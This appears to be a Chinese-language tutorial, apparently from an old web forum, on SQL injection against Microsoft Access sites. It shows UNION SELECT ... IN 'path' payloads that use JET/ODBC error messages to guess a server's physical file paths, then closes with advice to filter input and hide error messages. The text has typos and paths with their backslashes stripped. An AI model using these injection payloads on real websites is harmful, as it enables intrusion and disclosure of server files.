友情提示:我们的程序已经解决了文中所述问题。
SQL inkection 非常火爆,很多新的Injection 方式被挖掘出来,利用系统错误来爆路径更
是热门话题 ,今天和大家一起学习下----物理路径是ACCESS数据库得到灵魂,如果得到路径,一切都将是暴露在光天化日之下了,下面介绍新方法:
测试:
select *from news where id=3 union select * from admin
in 'c:Custoners.mdb'.
系统提示:
Microsoft JET Database Engine 错误 ‘8004005’
找不到文件 'C:Custoners.mdb'.
使用:
select *from news where id=3 union select * from admin
in 'C:System32cmd.exe'
系统提示:
Microsoft JET Database Engine 错误 ‘8004005’
Microsoft JET 数据库引擎打不开文件
'C:System32cmd.exe'.
它已经被别的用户以独立方式打开,或没有查看数据的权限
这种方式的实现比起用and 0<>(select count (*)from admin )查询的季节国来的更高明
而且猜测的是MDB后缀的文件。猜测的犁镜和文件名正确的话,信息会正常显示,如果猜测错误
则是这样的:
执行:
select *from news where id=3 union select *from admin in 'e:wwwoncludeconnect.asp'
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误‘80004005’
[Microsoft] [ODBC Microsoft ACCESS Driver] 不可以识别的数据库格式 'e:wwwoncludeconnect.asp'
证明所猜测的犁镜和文件是正确的。
由于 ACCESS 本身的缺陷 使 SQL Injection 的方式层出不穷 ,但很大一方面是由于程序员在书写程序的时候,不注意防范,麻痹大意,针对有传值的SQL 语 进行详细得到过滤,起码也是阻挡
SQL Injection 的一道门,ACCESS本身的缺陷使很多的漏洞防不胜防,建议返回统一服务器出错信息,创建一个自己的WEB信息出错页面,这样一来就没有可参考的出错信息了,稍微有点防范意识